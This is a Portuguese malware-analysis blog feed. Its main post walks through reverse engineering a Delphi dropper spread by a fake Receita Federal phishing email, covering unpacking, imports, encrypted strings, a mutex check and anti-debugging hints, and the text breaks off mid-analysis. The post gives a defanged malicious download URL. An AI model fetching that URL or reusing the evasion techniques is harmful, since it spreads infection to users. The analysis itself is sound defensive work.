tag:blogger.com,1999:blog-51532988798435948672024-03-20T00:38:03.654-07:00Desvendando MalwareJeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.comBlogger7125tag:blogger.com,1999:blog-5153298879843594867.post-19351915569234290232013-07-03T11:59:00.002-07:002013-07-03T11:59:31.629-07:00Analise de Keylogger<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/9g1Z_tjsJdM/0.jpg" height="266" width="320"><param name="movie" value="http://www.youtube.com/v/6CLrApVbwh0?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="320" height="266" src="http://www.youtube.com/v/6CLrApVbwh0?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object></div>
<div style="text-align: center;">
caso estejam afim de uma video analise, enviem seus artefatos para o email: desvendandomalware@gmail.com</div>
</div>
Jeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.com0tag:blogger.com,1999:blog-5153298879843594867.post-6628681933676462852013-01-24T19:40:00.000-08:002013-01-24T19:40:10.762-08:00Dissecando Malware<div dir="ltr" style="text-align: left;" trbidi="on">
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Nesse artigo inicio a análise detalhada de um malware curioso, ao
invés de executar de uma só vez, ele faz execuções recursivas
para atingir seus objetivos. Em cada execução um novo bloco de
código é alcançado até chegar na função principal. Essa
estratégia pode ter sido utilizada para dificultar a análise ou
mesmo ser apenas um estilo de codificação.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
O objetivo desse artigo é mostrar um pouco mais sobre as estruturas
internas dos malwares. O tópicos abordados nessa primeira parte
serão:</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- O Phishing</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- Os Imports</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- Caminhos de execução</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- 1ª Execução</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- Uso de Mutex</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- Mais validações</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- Preparação para a 2ª Execução</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
- Algumas Considerações</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Qualquer dúvida, sugestão, correção, será muito bem-vinda. E não deixe de acompanhar as novidades do blog no twitter: <a href="http://www.twitter.com/crimescibernet" target="_blank">@crimescibernet</a>.
</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Let's start!</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>O
Phishing</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Tudo
começou com um e-mail se passando pela Receita Federal comunicando
que devido a um congestionamento nos sistemas, algumas declarações
haviam sido danificadas e era necessário verificar com o CPF se
houve problema ou não com a declaração. A velha fórmula de
engenharia social envolvendo assunto do momento mais a ameaça ao
usuário (medo).</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsTQtO49YDrFStmopp2NG7ckM590S2G0QDZxysO-QXOFPkixouI1xnQ13hcoiyx67NNuw-BSdiS0OBqX72JxrtcIFz0Fq0KUiDZ5-AEO501O9xFUU0iKOYhQi4zt5foyS8NPHnN1uTa8M/s1600/00-phishing-receita-federal.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsTQtO49YDrFStmopp2NG7ckM590S2G0QDZxysO-QXOFPkixouI1xnQ13hcoiyx67NNuw-BSdiS0OBqX72JxrtcIFz0Fq0KUiDZ5-AEO501O9xFUU0iKOYhQi4zt5foyS8NPHnN1uTa8M/s400/00-phishing-receita-federal.jpg" width="400" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
O link
apontava para essa URL:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
hxxp://receita-federal.mail333.su/Declaracao
2011.rar</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Fiz o
donwload do RAR e descompactei, tratava-se do executável “<b>Declaracao
2011.exe</b>”. Estava compactado com o UPX e foi só utilizar o
“<b>upx -d</b>” para remover o packer. No Brasil ainda utilizam
bastante o UPX, será que só querem diminuir o tamanho do arquivo ou
acham que ele realmente é bom para ofuscação de código?</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Submetendo
o arquivo descompactado ao Exeinfo PE e RDG Packer Detector a
linguagem de programação identificada foi Borland Delphi 2009-2010.
Fizeram um upgrade no Delphi, na maioria das vezes a versão é 6.0
ou 7.0.
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvl5rmJ-KH3w-zVbNyD0BjDoRkZSgWxn-CD-wpv8mg3qHasaKmxNJBG72uYtwHfy6m55pa07lqsUV-aEpWOmW0azcMnWDcI4pQVQ2y_bP8pKYjqwSaAia-Mhyx2DjORn3ZMZu9_YX84nI/s1600/01-delphi-2009.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvl5rmJ-KH3w-zVbNyD0BjDoRkZSgWxn-CD-wpv8mg3qHasaKmxNJBG72uYtwHfy6m55pa07lqsUV-aEpWOmW0azcMnWDcI4pQVQ2y_bP8pKYjqwSaAia-Mhyx2DjORn3ZMZu9_YX84nI/s1600/01-delphi-2009.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Os
Imports</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Agora sim
vamos iniciar a análise do código, as ferramentas que irei utilizar
serão o IDA Pro para análise estática e o OllyDbg para debugging
de alguns trechos do código.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Ao
carregar o arquivo no IDA a primeira coisa que fiz foi abrir a aba
Imports, ou seja, as funções que o malware importa da API do
Windows. Eram muitos imports, mas alguns me chamaram atenção:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
MessageBoxA</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
QueryPerformanceCounter</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
GetTickCount</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
WriteFile</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
IsDebuggerPresent</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
GetEnvironmentVariableA</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
GetEnvironmentVariableW</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
DeleteFileW</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
CreateMutexA</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
ShellExecuteA</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Os
imports de um <a href="http://www.crimesciberneticos.com/2012/05/dissecando-malware-parte-1.html#" rel="nofollow" style="border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;">programa</a> dizem muito sobre suas funcionalidades. A
partir dessa pequena lista podemos deduzir muitas coisas, o uso do
<b>MessageBoxA</b> no diz que o malware em algum momento apresenta
uma <a href="http://www.crimesciberneticos.com/2012/05/dissecando-malware-parte-1.html#" rel="nofollow" style="border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;">mensagem</a> para o usuário.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Ao ver
<b>QueryPerformanceCounter</b> e <b>GetTickCount</b> logo imaginei
que eram utilizadas para anti-debugging. Geralmente elas são
utilizadas na técnica de Time Check, onde o malware tira um
timestamp, realiza algumas instruções, tira outro timestamp e
compara os dois.
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Se o
tempo decorrido for maior que o normal ele supõe que está rodando
dentro de um debugger, já que o debugger atrasa a execução do
código. E ainda também há o uso da função <b>IsDebuggerPresent</b>,
o nome já diz tudo. Estaríamos lidando com um malware com técnicas
anti-debugging? Veremos mais adiante.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>WriteFile</b>
e <b>DeleteFile</b> nos diz que o malware grava e apaga arquivo no
disco. <b>GetEnvironmentVariable</b> no mostra que o malware manipula
ou utiliza alguma variável de ambiente do SO.
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>CreateMutex</b>
é a função que cria objetos que são compartilhados por processos,
isso para lidar com a concorrência, ou semáforo, entre os
processos. Veremos mais sobre ela adiante. <b>ShellExecuteA</b>
realiza operações em um arquivo, do tipo abrir, editar, imprimir,
etc.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
O “A”
ou “W” que existe no final do nome das funções se referem a
“ASCII” ou “UNICODE” (Wide), respectivamente. Para descobrir
o que cada função faz, consulte o <a href="http://www.crimesciberneticos.com/2012/05/dissecando-malware-parte-1.html#" rel="nofollow" style="border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;">site</a> da MSDN, pode-se buscar no
Google: “NomedaFuncao msdn”.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Apesar
dos muitos imports, algo me chamou atenção, não havia nenhum
import de API relacionada a funções de rede. Muito estranho para um
malware já que praticamente todos utilizam a <a href="http://www.crimesciberneticos.com/2012/05/dissecando-malware-parte-1.html#" rel="nofollow" style="border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;">Internet</a> para se
comunicarem com um servidor C&C, baixarem mais pragas, enviarem
dados, etc. Somente havia imports das DLLs: kernel32, advapi32,
oleaut32, shell32 e user32.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9XUyIV0X70sAHh6sxspXm5kEijLAZghtTzgSusZ4R6OWtJK4damlu8cuAcBcnSLsoKP-nt-LQDLpYjmRpbyfM8jsQ1RlWwDv_B5jvkujBjqizQ1ee8od7VUpLjUCyFaot24Koa7Assq4/s1600/02-imports.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9XUyIV0X70sAHh6sxspXm5kEijLAZghtTzgSusZ4R6OWtJK4damlu8cuAcBcnSLsoKP-nt-LQDLpYjmRpbyfM8jsQ1RlWwDv_B5jvkujBjqizQ1ee8od7VUpLjUCyFaot24Koa7Assq4/s1600/02-imports.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Porém,
ao buscar as strings do malware, encontrei referências a DLLs com
funções de rede: WS2_32.DLL, MSWSOCK.DLL, Wship6.dll e
FwpucInt.dll. Então, essas DLLs devem ser carregadas pelo malware em
tempo de execução através da função <b>LoadLibrary</b>. Veremos
também sobre isso adiante.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSauNrgd-2I8X_7ox0U6_jTnwQ39HG6obtmLv5NZjGHP6-12qzaWK0u4pmtUTTjz-2GNARv1GVTraA9kkkLMkvFK73M-d50XtH5sWcN6K_TckgMz-zPJZNIfWVy6K_qLeVZxXu1W3E9fs/s1600/03-strings-dll-rede.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSauNrgd-2I8X_7ox0U6_jTnwQ39HG6obtmLv5NZjGHP6-12qzaWK0u4pmtUTTjz-2GNARv1GVTraA9kkkLMkvFK73M-d50XtH5sWcN6K_TckgMz-zPJZNIfWVy6K_qLeVZxXu1W3E9fs/s1600/03-strings-dll-rede.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMkrWFbCpiP5KZOqT7CnYJGz5zTC-VXgWNWSXsp3RuYj-OGNaeFDvUCpvyXY_9F3H2SBNCIFQUyAz9_g0SU7o_JfuD9nrsA6rgkr6Fn9dAsdWSdBYy4Mg-1_t92WLipx5gmf8iBV_nXug/s1600/04-strings-dll-rede.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMkrWFbCpiP5KZOqT7CnYJGz5zTC-VXgWNWSXsp3RuYj-OGNaeFDvUCpvyXY_9F3H2SBNCIFQUyAz9_g0SU7o_JfuD9nrsA6rgkr6Fn9dAsdWSdBYy4Mg-1_t92WLipx5gmf8iBV_nXug/s1600/04-strings-dll-rede.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Ainda
falando sobre as strings, encontrei algumas criptografadas, no
decorrer da análise veremos o uso delas.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Já temos
algumas informações sobre as funcionalidades do malware, hora de
seguir em frente e encarar o (dis)assembly!</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Caminhos
de execução</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Esse
malware funciona de maneira peculiar, ele é recursivo. Na verdade,
após a primeira execução originada pelo usuário ele se
auto-executa mais duas vezes. Em cada execução ele passa por
algumas validações e é direcionado para um caminho diferente de
código, até atingir o objetivo final.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Vamos
seguir as funções principais do código para entender melhor com
isso funciona. Abaixo o trecho inicial do código. Use essa imagem
para acompanhar o que está sendo explicado, esse é o fluxo
principal do programa, o <b>Main Code</b>.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJp1f0UeQyhLbCj0Ggc5ZGsuPBKpsDKohldQ9WZM_IcXl2tqbRnZR6GB0TUfiaUy7fxLXAE5gGQbCHhectbfzqROx0M5VQIl0RnqbDWkuhlznBv7L2DhP6Ik0MbODQim4hHyUgAloqcGE/s1600/05-assembly-block1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJp1f0UeQyhLbCj0Ggc5ZGsuPBKpsDKohldQ9WZM_IcXl2tqbRnZR6GB0TUfiaUy7fxLXAE5gGQbCHhectbfzqROx0M5VQIl0RnqbDWkuhlznBv7L2DhP6Ik0MbODQim4hHyUgAloqcGE/s1600/05-assembly-block1.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>1ª
Execução</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Assim que
o malware é executado pelo usuário, é chamada uma função que
denominei <b>FilePathInfo</b>. Essa função é complexa, dentro dela
há chamadas para umas outras 20 funções, nesses casos para não
nos perdermos devemos abstrair e tentar entender o propósito geral
da função, para isso o debugger ajuda muito.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Descobri
que basicamente essa função busca o caminho da variável de
ambiente TEMP através da <b>GetEnvironmentVariableA</b>, como
podemos ver no código abaixo.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSm38zm5RG5RFbhvReFNt4gRrMJ-71TEyVaFsX4AuFQv19pVVDHsA5PBj2iDeIrxdhSlxEy_HfEEbdnob940qMVO2E8ptDUOfIsG3rr-BxzsTSr-1bWpI_7YjbXZpnWWd_lQz3Ta_DSkU/s1600/06-get_temp_var.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSm38zm5RG5RFbhvReFNt4gRrMJ-71TEyVaFsX4AuFQv19pVVDHsA5PBj2iDeIrxdhSlxEy_HfEEbdnob940qMVO2E8ptDUOfIsG3rr-BxzsTSr-1bWpI_7YjbXZpnWWd_lQz3Ta_DSkU/s1600/06-get_temp_var.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
A string
“TEMP” está criptografada mas logo abaixo há a função de
descriptografia, com o debugger foi fácil obter o retorno. Esse tipo
de criptografia de strings já é <a href="http://www.crimesciberneticos.com/2011/04/palestra-no-gts-17-dia-1405-em-sp.html">bem
conhecido do blog</a>.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
E depois
ela obtém o caminho do executável com o uso da <b>GetCommandLineW</b>.
Feito isso ela compara os dois caminhos e retorna:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
0 se
forem diferentes</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
1 se
forem iguais</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Após a
chamada da função <b>FilePathInfo</b> há o teste do retorno no
Main Code:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
call
FilePathInfo</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
test al,
al</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
jnz short
Continue</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Jump if
Not Zero (jnz), se forem iguais pule para o bloco de código que
denominei “Continue”. Em outras palavras, testou se o malware
está sendo executado dentro do diretório TEMP. Como não está, vai
executar o bloco de código logo abaixo, apontado pela seta vermelha.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Uso de
Mutex</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
A próxima
instrução é a chamada para a função <b>TestMutex</b> (nomeada
por mim). Aqui teremos os uso do mutex. Mutex é um objeto criado no
kernel do Windows, esse objeto pode-se entender como uma string. Essa
string é utilizada por um programa (processo) para sinalizar a outro
(programa) alguma coisa.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Sabemos
que cada processo em user-mode tem seu espaço de memória reservado
e isolado dos demais, justamente para evitar que um interfira no
outro. Criar o mutex no kernel permite que todos os processos tenham
acesso a ele.
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Essa
técnica é muito utilizada por malwares para garantir que somente
uma instância do processo esteja em execução, para evitar erros de
execução por exemplo. O processo antes de executar completamente
sempre verifica se o mutex já existe e se existir finaliza o
processo, sinal que já há outra instância do malware em execução.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Isso é
exatamente o que nosso artefato faz, dentro da função <b>TestMutex</b>
há o trecho de código abaixo.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqIQ8lVeVnQINfUNpSrezcj0khSaUDPaEGlJE0XWfMPH2EYZmK_yoAgYi1LOEFT5G1WOV8WJoXv5OpoK_cQDWJWDlsSxBB49Z6iElgSrQnK8vd5tOI1SKv4wfimEv3-rPsKIJrCo0-zh4/s1600/07-mutex.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqIQ8lVeVnQINfUNpSrezcj0khSaUDPaEGlJE0XWfMPH2EYZmK_yoAgYi1LOEFT5G1WOV8WJoXv5OpoK_cQDWJWDlsSxBB49Z6iElgSrQnK8vd5tOI1SKv4wfimEv3-rPsKIJrCo0-zh4/s1600/07-mutex.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Há o uso
de outra string criptografada que em texto simples significa
"<b>SFIheg72</b>". Esse será o nome do mutex. Depois há a
chamada à função <b>CreateMutex</b> da API do Windows. Se
consultarmos na MSDN o que essa função faz, diz o seguinte:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
“<i>Creates
or opens a named or unnamed mutex object.</i>”</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Então é
passado o nome do mutex para a função, se o mutex "<b>SFIheg72</b>"
não existir é criado um mutex com esse nome, caso contrário é
aberto o mutex já existente.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Como o
programa sabe se foi criado um novo ou se já existia? Buscando o
código de erro gerado pela função através da <b>GetLastError</b>.
Há uma tabela padrão no Windows com <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381%28v=vs.85%29.aspx">todos
os códigos de erros</a>. Nessa tabela há:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<table border="1" cellpadding="4" cellspacing="0">
<colgroup><col width="34*"></col>
<col width="87*"></col>
<col width="135*"></col>
</colgroup><tbody>
<tr valign="TOP">
<td width="13%"><div align="JUSTIFY" class="western">
<b>Código</b></div>
</td>
<td width="34%"><div align="JUSTIFY" class="western">
<b>Constante</b></div>
</td>
<td width="53%"><div align="JUSTIFY" class="western">
<b>Descrição</b></div>
</td>
</tr>
<tr valign="TOP">
<td width="13%"><div align="JUSTIFY" class="western">
0 (0x0)</div>
</td>
<td width="34%"><div align="JUSTIFY" class="western">
ERROR_SUCCESS</div>
</td>
<td width="53%"><div align="JUSTIFY" class="western">
A operação foi realizada com
sucesso.</div>
</td>
</tr>
<tr valign="TOP">
<td width="13%"><div align="JUSTIFY" class="western">
183 (0xB7)</div>
</td>
<td width="34%"><div align="JUSTIFY" class="western">
<b><span style="font-weight: normal;">ERROR_ALREADY_EXISTS</span></b></div>
</td>
<td width="53%"><div align="JUSTIFY" class="western">
Não é possível criar o arquivo
quando ele já existe.</div>
</td>
</tr>
</tbody></table>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
No código
vemos que é feita uma comparação com o valor 0xB7, isso para
descobrir se o mutex já existe ou não. Baseado nessa comparação,
a função <b>TestMutex</b> irá retornar:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
0 se o
mutex não existir (e criará o mutex)</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
1 se o
mutex existir (e retornará um handle para o mutex)</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Note que
após a chamada da função no Main Code, é feita uma comparação
com o retorno no registrador AL. Jump if Zero (jz) “Continue”. E
se o valor não for zero, ou seja, o mutex já existe, o que quer
dizer que outra instância do malware já está sendo executada.
Nesse caso é chamada uma função que finaliza o processo com
<b>ExitProcess</b>.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Prosseguindo
com a execução, agora no bloco “Continue”, há novamente a
chamada para a função <b>TestMutex</b>. Dessa vez ela retornará <b>1</b>
pois o mutex já existe, acabou de ser criado como vimos.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Mais
validações</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Novamente
é chamada a função <b>FilePathInfo</b> e ela retornará 0, já que
o arquivo não está dentro do diretório TEMP. Não identifiquei a
necessidade de chamar a <b>TestMutex</b> e a <b>FilePathInfo</b>
nesse trecho de código.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Prosseguindo
no Main Code, é chamada a função que denominei <b>GetToken</b>.
Nessa função há uma série de chamadas a funções relacionadas
com o SID (Security Identifier) do processo em execução. Ficou meio
obscura a funcionalidade dela pra mim, mas de forma geral tem a ver
com as permissões de acesso do usuário que está executando o
processo, é feita algumas comparações relacionadas a isso.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Parece
que se o usuário não tiver privilégios suficientes o processo é
finalizado. Nos meus testes essa função sempre retornou 1, mas
vemos que se ela retornar 0 é chamado o código que prepara a
finalização do processo.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Abaixo a
continuação do Main Code para prosseguirmos com a análise.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
